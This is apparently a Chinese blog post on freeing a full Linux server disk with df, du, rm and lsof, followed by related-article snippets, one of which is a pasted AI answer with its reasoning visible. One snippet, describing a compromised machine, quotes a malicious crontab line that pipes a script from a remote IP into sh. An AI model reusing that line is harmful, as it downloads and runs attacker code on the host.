服务器磁盘空间100%问题处理

解决服务器磁盘空间满
最新推荐文章于 2025-09-02 14:11:55 发布
原创 最新推荐文章于 2025-09-02 14:11:55 发布 · 2.9k 阅读 · 2 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文介绍了解决服务器磁盘空间被占满的问题，通过使用df-k命令检查磁盘使用情况，du-h/home/*查找大文件，rm-rf删除特定大文件a.log，并介绍了在删除后磁盘空间仍未释放时的解决办法，包括重启服务器和使用lsof|grep delete找到并结束占用文件的进程。

 

1，服务器报警磁盘空间100%占有

使用“df -k”命令，以KB为单位显示磁盘使用量和占用率。

 

使用 du -h /home/* 查看文件大小逐步找到大文件

 

使用 rm -rf a.log 删除大文件

这个时候可能磁盘空间还是没有释放

重启可以解决

或者 lsof |grep delete 看到刚才文件的进程号 kill -9 pid 

 

ÈÓÕçêëì
关注
云服务器磁盘空间被异常占满，导致服务器无法正常使用。
猿小白的博客
09-25 2175
最近一段时间，服务器出现了磁盘被占满问题，导致服务器无法正常运行。通过宝塔面板可以看到，服务器磁盘空间已经被占满了。
磁盘利用率和饱和度
老叶茶馆
09-11 3693
导读如何观察磁盘的IO利用率以及饱和度？看文本文给你解药！翻译团队：知数堂藏经阁项目 - 菜鸟盟团队成员：菜鸟盟–hades、菜鸟盟-bruce、菜鸟盟-冰焰译文校稿：叶师傅原文出处：https://www.percona.com/blog/2017/08/28/looking-disk-utilization-and-saturation/原文作者：Peter Zaitsev (Percona
Oracle数据库占用磁盘，导致磁盘活动时间为100%的解决方法
杉 言
07-23 1万+
本人在使用Oracle的过程中，下午发生了一件猝不及防的事情，那就是Oracle数据库导致电脑磁盘的活动时间占有率为100%，没错是100%，导致电脑一段时间内无缘无故的卡死，无缘无故的死机，重启后过了一段时间又是100%的卡死导致死机。 最后忍无可忍，去网上找了很多教程，如禁家庭组，禁系统安全软件...
性能测试分析
weixin_30656145的博客
10-21 176
性能测试分析 一、分析原则 1、根据场景运行过程中的错误提示； 2、根据收集到的监控指标数据； 3、分段排查便于快速定位问题。 分析实例一： Error:Failedto connect to server "192.168.1.43:8080":[10060] connection Error:timedout Error:server"192.168...
oracle i o瓶颈,I/O性能分析
weixin_39752215的博客
04-09 532
衡量I/O闲忙程度的指标下面是一些衡量I/O闲忙程度的经用指标：磁盘利用率(disk utilization)磁盘队列长度(disk queue length)磁头/逻辑卷的读/写速率(read/write rates per spindle/logical volume)原始I/O(raw I/O)：主要用于数据库交换队列的长度(swap queue length)缓存命中率(buffer ca...
java非固态运行速度_SSD磁盘util接近 100%代表磁盘慢吗
weixin_31477659的博客
02-26 722
问题现象集群中查看到ssd磁盘(做cache盘)io util使用率接近100%，需要判读是否达到了磁盘瓶颈。问题调查参考 iostat 的文档， 和 别人的blog 都有提到， iostat 的utils 并不能反映新的支持并发的设备，比如ssd， raid等：%utilPercentage of elapsed time during which I/O requests were iss...
Linux 下清理系统缓存并释放内存
热门推荐
Gavinmiaoc的博客
05-31 12万+
当在Linux下频繁存取文件后，物理内存会很快被用光，当程序结束后，内存不会被正常释放，而是一直作为caching 因此我们很有必要手动清理系统缓存释放内存。 我们在清理缓存前应该先 sync下 因为系统在操作的过程当中，会把你的操作到的文件资料先保存到buffer中去，因为怕你在操作的过程中因为断电等原因遗失数据，所以在你操作过程中会把文件资料先缓存。 所以我们在清理缓存先要先把...
linux运维之磁盘利用率100%教你做人
海鸥爱上鱼
10-16 8976
文章目录磁盘空间满的情况都有哪些？？？第一种情况： 是磁盘空间block剩余量不够了（df -h）第二种情况： 是磁盘空间inode剩余量不够了（df -i）一、索引节点信息---inode与blockde1、inode与blockde干什么用？2、inode与blockde他们是如何出现的？3、inode与blockde如何查询到相应信息4、为什么df -h 和df -i都是显示磁盘使用情况，而两者有这么大的区别呢？二、磁盘空间block剩余量不够了（df -h）三、磁盘空间inode剩余量不够了（df
Linux 磁盘空间占用率100%的排查
2301_80092713的博客
02-02 5827
max-size 最大数值 ， max-file 最大日志数，但一两个容器还好，但是如果有很多容器需要管理，这样就很不方便了，最好还是可以统一管理（全局修改）结果显示多条如下数据，这里最关键的指标就是使用百分比，这个值较高一般需要处理，或者明确知道自己项目或工作目录是哪个，就只要找对应的位置去处理即可。/var/lib/docker/overlay2 【文件系统】基于容器文件系统保存的数据会写到本机的此目录下，进行限制，以减少日志文件对存储空间的占用，以下配置分别为日志文件最大容量、最大日志文件数。
当 Nginx 出现磁盘空间不足，如何处理？
发现生活，分享智慧，一起成长！
07-22 1529
总之，当 Nginx 出现磁盘空间不足的问题时，我们不能惊慌失措，而要冷静分析，采取有效的措施来解决问题。就像在人生的道路上，我们会遇到各种各样的困难和挑战，但只要我们有足够的智慧和勇气，总能找到解决问题的办法，继续前行。Nginx 的访问日志和错误日志就像是一本本记录着服务器活动的日记，如果不加以控制，它们可能会迅速膨胀，占据大量的磁盘空间。可以使用各种系统监控工具，如。例如，如果我们设置了缓存的最大大小，但没有设置缓存的过期时间或者清理策略，那么缓存文件可能会一直存在，即使它们已经不再有用。
CentOS 7 服务器CPU突然飙升至100%？精准定位问题。
maxiaojing的博客
09-02 1407
CPU飙高问题排查指南 原因：应用程序bug/配置问题、内核进程负载、系统I/O或内存瓶颈、僵尸进程、恶意程序（如挖矿病毒）等。 排查步骤： 快速定位：top -c或htop查看高CPU进程，关注%us（用户空间）和%sy（内核空间）。 线程分析：top -H -p <PID>定位问题线程。 日志检查：journalctl或/var/log/messages排查异常日志。 安全排查：ps aux检查可疑进程，如矿机病毒特征。 解决方案： 应用问题：优化代码/配置（如JVM参数）。 数据库问题：分
linux系统盘使用率达到100%的问题查找和解决方法
weixin_38987366的博客
12-01 1801
linux系统盘使用率达到100%的问题查找和解决方法 近期一直发现主数据业务服务的系统磁盘没过几天就满了，系统磁盘空间不够，登录服务器进行查看，磁盘使用虑达到99%~100%， 感觉比较奇怪，所存的东西并不多，怎么会将磁盘占满，而且数据都是存在数据盘下，通过简单的进行查看，总体有了些思路，分为三步走： 一、先对系统盘下所有文件大小进行统计，是否真的是数据存储以达到了磁盘空间 　　当时对系统盘所有文件进行统计，总共才5.5G的大小，对数据盘进行统计总共才10G左右，就算数据盘的数据算...
【磁盘空间使用率100%告警】
weixin_43100952的博客
03-28 1941
项目场景： 今天在群里收到相关同事线上服务器磁盘空间使用率100%的告警， 问题描述 提示信息如下： 02.Item values: 1. /data: Space utilization (loyalty-VM-AppNode003:vfs.fs.size[/data,pused]): 100 % 原因排查： 1、使用命令 df -h 查看所有文件空间的存储情况，显示 /data 目录总容量504G, 已用455G 2、使用命令 du -h --max-depth=1 / 查看根目录下面的所有文
oracle数据库服务器磁盘空间满、表空间满无法扩容临时解决办法
geqiangyouerya的博客
01-09 2907
ORA-00604: error occurred at recursive SQL level 1ORA-01653: unable to extend table SYSTEMAUD$ by8192 in tablespace SYSTEMORA-02002: error while writing to audit trailORA-00604: error occurred at recursive SQL level 1ORA-01653: unable to extend table SYSTE
ORACLE磁盘空间占满解决
weixin_30772261的博客
07-17 2599
方案一：清理Oracle服务端目录下，diag日志目录下，的各种日志 如：E:\app\Administrator\diag 方案二：缩放临时表空间select file#,name from v$datafile;获得目录结果：E:\APP\ADMINISTRATOR\ORADATA\CLOTADB\CLOTA_DATA.DBF 查看各空间的使用率，根据使用率进行针对性缩放，缩放不...
服务器cpu 100%解决方案
阿杰
03-08 4505
ps -ef|grep 1085 首先确定是哪个服务出了问题，因为一个服务器可能部署了多个服务，如果不是你负责的服务，及时联系相关负责人，确定问题 如果是你负责的服务，那么继续 top 查看服务pid 查看线程占用 top -Hp 17038 # 将线程号转为16进制;其中17045为线程号 printf '%x\n' 17045 # 17038为进程号,0x4295为最耗CPU线程的十六进制 jstack 17038 | grep '0x4295' -C10 --color # 其中170.
服务器cpu占用100%，如何排查问题?
pengjunlee的博客
07-06 1万+
一、引子 对于互联网公司，线上CPU飙升的问题很常见（例如某个活动开始，流量突然飙升时），按照本文的步骤排查，基本1分钟即可搞定！特此整理排查方法一篇，供大家参考讨论提高。 二、问题复现 线上系统突然运行缓慢，CPU飙升，甚至到100%，以及Full GC次数过多，接着就是各种报警：例如接口超时报警等。此时急需快速线上排查问题。 三、问题排查 不管什么问题，既然是CPU飙升，肯定是查一下耗CPU的线程，然后看看GC。 3.1 核心排查步骤 执行top命令：查看所有进程占系统CPU的排序。极
发现小服务器被入侵了 cpu长期100%
微风
11-26 3952
前两天用路由开了个外网端口，把自己的一台centos6.5台式机挂上了外网。还挺有成就感的。 定时任务里有个每晚23点30自动关机的操作。昨天发现没有自动关机，没在意就手动关了。 今天本想查看一下定时任务，排查下问题。结果发现的入侵： crontab  -l */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh */5
性能测试过程中压力机磁盘空间占满
wyq0121的博客
01-29 965
压测时，通常会将几台压力机组成一个集群，一起对服务器压测，压测进行一段时间后会发现，压力机磁盘空间全部占满，该压力机上的线程莫名全部停止，而其他压力机上的线程运行确实正常的。造成这种现象主要是压测过程中没有关闭日志造成的，可以在runtime_setting 中取消勾选log。另外如果想要释放已经占满的磁盘空间，可以进入路径C:\Users\tangjing\AppData\Local\Temp\...
Linux服务器磁盘空间满了怎末处理？
最新发布
11-18
<think> 嗯，用户再次询问处理Linux服务器磁盘空间满的方法，看来是遇到了实际的运维问题。 用户引用了两篇站内资料：第一篇提到磁盘空间不足时的软链接和LVM扩容方案；第二篇强调要找出大文件进行清理。结合之前对话历史，用户显然需要一套完整的解决方案。 从用户身份推测，可能是系统管理员或开发人员，正在紧急处理生产环境问题。ta的深层需求不仅是步骤罗列，更希望获得可操作的排查流程和风险规避建议。特别要注意两点：一是必须强调关键操作前的备份，避免数据丢失；二是需要区分不同场景的解决方案（如临时清理VS长期扩容）。 技术层面需要覆盖： 1 空间验证：先用df确认是否真满，避免误判 2 定位罪魁祸首：重点推荐ncdu工具，比du更高效直观 3 清理策略：区分日志/缓存/核心文件的不同处理方式 4 高级方案：LVM扩容的适用条件和操作风险 考虑到用户可能处于焦虑状态，回答要把最紧急的清理步骤放在前面，同时用加粗强调⚠️危险操作。最后补充的"相关问题"特意加入日志轮询方案，因为这是实际运维中最常忽视的长期治理手段。 不过用户提供的引用[2]中提到"100%解决"的说法不够严谨，在正式回答中调整为"有效缓解"更妥当。另外补充了原文未提及的/tmp清理和apt缓存清理等实用技巧。 </think> 处理Linux服务器磁盘空间满的问题需要系统化排查和针对性清理。以下是详细操作步骤及解决方案： --- ### **一、快速定位问题** 1. **确认磁盘使用率** ```bash df -h # 查看各分区使用情况 ``` 重点关注`Use%`列达到100%的分区（如`/dev/sda1`挂载到`/`） 2. **定位大文件/目录** ```bash du -sh /* 2>/dev/null # 查看根目录下各文件夹大小 du -xh --max-depth=1 / | sort -h # 深度1层排序 ``` - 若`/var`或`/home`较大，继续深入： ```bash du -xh --max-depth=1 /var | sort -h ``` --- ### **二、针对性清理方案** #### **场景1：日志文件过大（常见于/var/log）** ```bash # 查看并清理旧日志 journalctl --disk-usage # 检查Journal日志大小 journalctl --vacuum-time=7d # 删除7天前日志 # 清理应用日志（如Nginx/Apache） find /var/log -name "*.log" -size +100M -exec truncate -s 0 {} \; ``` > ⚠️ 慎用`rm`删除日志，推荐用`truncate -s 0`清空内容保留文件 #### **场景2：缓存文件堆积（/var/cache）** ```bash # 清理APT缓存（Ubuntu/Debian） apt clean && apt autoclean # 清理YUM缓存（CentOS/RHEL） yum clean all # 清理Docker无用数据 docker system prune -af ``` #### **场景3：用户文件占用（/home）** ```bash # 查找大文件（>500MB） find /home -type f -size +500M -exec ls -lh {} \; # 清理临时文件 rm -rf ~/.cache/* /tmp/* ``` #### **场景4：隐藏的已删除文件** ```bash # 检查被进程占用的已删除文件 lsof | grep deleted # 第二列显示PID kill -9 <PID> # 重启相关进程释放空间 ``` --- ### **三、长期解决方案** 1. **日志轮转（Logrotate）** 编辑`/etc/logrotate.conf`，为日志添加自动切割和压缩： ```conf /var/log/nginx/*.log { daily rotate 30 compress missingok notifempty } ``` 2. **挂载新磁盘（LVM动态扩容）** ```bash pvcreate /dev/sdb # 创建物理卷 vgextend vg_name /dev/sdb # 扩展卷组 lvextend -l +100%FREE /dev/vg_name/lv_name # 扩展逻辑卷 resize2fs /dev/vg_name/lv_name # 调整文件系统 ``` 3. **软链接迁移数据** ```bash mv /var/lib/mysql /big_disk/ # 迁移数据 ln -s /big_disk/mysql /var/lib/mysql # 创建软链接 ``` --- ### **四、预防措施** - **监控报警**：配置Prometheus+Alertmanager监控磁盘使用率 - **自动清理**：添加Cron任务定期清理缓存和临时文件 - **分区隔离**：将`/var`、`/home`等易增长目录单独分区 > 📌 **关键提示**：生产环境操作前**务必备份数据**！清理系统文件推荐使用`ncdu`可视化工具逐步检查：[^1][^2] ---
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值